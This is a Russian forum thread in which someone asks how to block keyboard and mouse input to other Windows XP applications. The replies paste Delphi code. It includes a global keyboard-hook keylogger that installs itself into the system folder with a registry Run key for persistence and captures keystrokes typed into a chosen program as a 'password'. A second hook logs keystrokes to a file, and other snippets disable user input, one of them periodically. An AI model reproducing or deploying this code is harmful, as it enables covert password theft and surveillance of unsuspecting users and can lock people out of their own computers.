Блокировка клавы и мыши для активных приложений
Есть следующая ситуация:
- запущена ОС Win XP
- запущено несколько приложений (браузер, текстовый редактор, любые другие приложения)
- запускается Программа
Вопросы:
1. как сделать так чтобы данные из клавы и мыши не поступали в запущенные активные приложения (браузер, текстовый редактор и прочие), но поступали в Программу (когда она в фокусе конечно) и в ОС (можно было выбирать запущенные приложения мышкой или сочетанием клавиш)
2. какие методы использовать? глобальный хук что еще?
3. или может возможно только заблокировать перенос фокуса на другие активные приложения?
если есть код хорошо было бы посмотреть
Спасибо за внимание
есть ОС WIN xp, есть пользовательское ПО, например Утилита "Сетевое окружение" и браузер Мозилла
Задача - разработать алгоритмы и отдельные процедуры и функции Управляющей Программы (УП), которая будет управлять выше перечисленными программами, через доступ к ним по WIN32 API. некоторые, в том числе и на этом форуме, утверждают что это возможно. есть и аналоги подобных программ, но слишком простые в смысле построения сложных логических цепей управления.
Прям сейчас нужно проверить возможность отсечения пользовательского ПО от введения в него данных из клавы и мыши, данные будут вводится из УП, как именно - пока в разработке. Тоесть программа, к примеру Мозилла - активна, в фокусе, но получать данные от клавы и мыши не должна, данные идут из УП
Вот есть функция
(
HWND hWnd, // дескриптор окна
BOOL bEnable // флажок для включения или отключения ввода информации
);
если вычислить дескриптор мазиллы в текущей сессии и отменить с помощью данной функции ввод данных, Мазилла вообще не сможет получать данные, в том числе и от УП, или только от мышы-клавы? и если так, то каким еще способом можно отрезать мазиллу от ввода данных из мыши-клавы но не от УП
вот в чем текущий вопрос
Посмотрите конечно на журнальный хук, может поможет. А так пока простых способов это сделать не приходит в голову.
Как отловить нажатия клавиш для всех процессов в системе?
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
Рег-Файл(запускается из бата):
REGEDIT4[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
Собсно,сам проджект:
program cwbhook;
uses
Windows,Dialogs;
var
hinstDLL:HINST;
hkprcKeyboard:TFNHookProc;
msg:TMsg;
begin
hinstDLL:=LoadLibrary('HookAgnt.dll');
hkprcKeyboard:=GetProcAddress(hinstDLL,'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD,hkprcKeyboard,hinstDLL,0);
repeat
until
not GetMessage(msg,0,0,0);
end.
Библиотека с хуками:
library HookAgent;
uses
Windows,KeyboardHook in 'KeyboardHook.pas';
exports KeyboardProc;
var
hFileMappingObject:THandle;
fInit: Boolean;
procedure DLLMain(Reason: Integer);
begin
if Reason=DLL_PROCESS_DETACH then
begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;
begin
DLLProc:=@DLLMain;
hFileMappingObject:=
CreateFileMapping(THandle($FFFFFFFF),nil,PAGE_READWRITE,0,4096,'HookAgentShareMem');
if hFileMappingObject=INVALID_HANDLE_VALUE then
begin
ExitCode:=1;
Exit;
end;
fInit:=GetLastError()<>ERROR_ALREADY_EXISTS;
lpvMem:=MapViewOfFile(hFileMappingObject,FILE_MAP_WRITE,0,0,0);
if lpvMem = nil then
begin
CloseHandle(hFileMappingObject);
ExitCode:=1; Exit;
end;
if fInit then FillChar(lpvMem,PASSWORDSIZE,#0);
end.
Сами хуки:
unit KeyboardHook;
interface
uses Windows;
const PASSWORDSIZE=16;
var
g_hhk:HHOOK;
g_szKeyword:array[0..PASSWORDSIZE-1] of char;
lpvMem:Pointer;
function KeyboardProc(nCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
implementation
uses
SysUtils,Dialogs;
function KeyboardProc(nCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;
var
szModuleFileName:array[0..MAX_PATH-1]of Char;
szKeyName:array[0..16]of Char;
lpszPassword:PChar;
begin
lpszPassword:=PChar(lpvMem);
if (nCode=HC_ACTION)and(((lParam shr 16)and KF_UP)=0)then
begin
GetKeyNameText(lParam,szKeyName,sizeof(szKeyName));
if StrLen(g_szKeyword)+StrLen(szKeyName)>=PASSWORDSIZE then
lstrcpy(g_szKeyword,g_szKeyword+StrLen(szKeyName));
lstrcat(g_szKeyword,szKeyName);
GetModuleFileName(0,szModuleFileName,sizeof(szModuleFileName));
if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__')<>nil)and
(strlen(lpszPassword)+strlen(szKeyName)<PASSWORDSIZE)then
lstrcat(lpszPassword,szKeyName);
if StrPos(StrUpper(g_szKeyword),'GOLDENEYE')<>nil then
begin
ShowMessage(lpszPassword);
g_szKeyword[0]:=#0;
end;
Result:=0;
end else Result:=CallNextHookEx(g_hhk,nCode,wParam,lParam);
end;
end.
©Drkb::01526
Вот ещё вариант постановки хука на клаву(способ вызова такой же):
uses Windows,SysUtils;
const KF_UP_MY=$40000000;
var CurrentHook:HHook;
KeyArray:array[0..19] of char;
KeyArrayPtr:integer;
CurFile:text;
function GlobalKeyBoardHook(code:integer;wParam:integer;lParam:integer):longword;stdcall;
var
i:integer;
begin
if code<0 then begin
result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
Exit;
end;
if ((lParam and KF_UP_MY)=0)and(wParam>=65)and(wParam<=90)then
begin
KeyArray[KeyArrayPtr]:=char(wParam);
KeyArrayPtr:=KeyArrayPtr+1;
if KeyArrayPtr>19 then
begin
for i:=0 to 19 do
begin
Assignfile(CurFile,'d:\log.txt');
if fileexists('d:\log.txt')=false then rewrite(CurFile)
else Append(CurFile);
write(Curfile, KeyArray);
closefile(curfile);
end;
KeyArrayPtr:=0;
end;
end;
CallNextHookEx(CurrentHook,code,wParam,lparam);
result:=0;
end;
// Постановка
procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KEYBOARD,@GlobalKeyBoardHook,HInstance,0);
KeyArrayptr:=0;
end;
//Снятие
procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
end;
exports
SetupGlobalKeyBoardHook,UnHook;
begin
end.
©Drkb::01527
Взято с http://delphiworld.narod.ru
Включение и выключение клавиатуры:
var
Dummy:integer=0;
OldKbHook:HHook=0;
implementation
function KbHook(code:Integer;wparam:Word;lparam:LongInt):LongInt;stdcall;
begin
if code<0 then Result:=CallNextHookEx(oldKbHook,code,wparam,lparam) else Result:=1;
end;
// включение клавы
procedure KeyBoardOn(Sender: TObject);
begin
if OldKbHook<>0 then
begin
UnHookWindowshookEx(OldKbHook);
OldKbHook:=0;
end;
SystemParametersInfo(SPI_SETFASTTASKSWITCH,0,0,0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
end;
// выключение клавы
procedure KeyBoardOff(Sender:TObject);
begin
SystemParametersInfo(SPI_SETFASTTASKSWITCH,1,@Dummy,0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@Dummy,0);
OldKbHook := SetWindowsHookEx(WH_KEYBOARD,@KbHook,HInstance,0);
end;
Некоторые замечания по поводу этих процедур:Если программу упаковать UPX-ом - клава не будет отключаться(причин не знаю).Под досом клава работать будет(FAR,VC и т.п.):(
Состояния клавиш NumLock,CapsLock,ScrollLock не отслеживаются и могут быть изменены.
Возможно EnableHardwareKeyboard более эффективен и прост.Если вместо WH_KEYBOARD поставить WH_MOUSE,то можно выключать таким образом мышь:-)
©Drkb::01532
uses Windows;
var
klava:boolean;
begin
{устанавливаем значение переменной}klava:=true;
{начинаем бесконечный цикл}while true do
begin
{делаем так,чтобы всё не подвисло:)}Yield;
{ничего не делаем 2 минуты}Sleep(2*60*1000);
{присваиваем переменной противоположное значение}klava:=not klava;
{и в зависимости от переменной,отключаем или включаем клаву с мышкой}EnableHardwareInput(klava);
end;
end.
©Drkb::01533
А вот недокументированная функция из User32.dll,которая блокирует ввод(мышь,клавиатуру кроме Ctrl+Alt+Del):-(:
winexec(Pchar('rundll32 mouse,disable'),sw_Show);//Маус OFF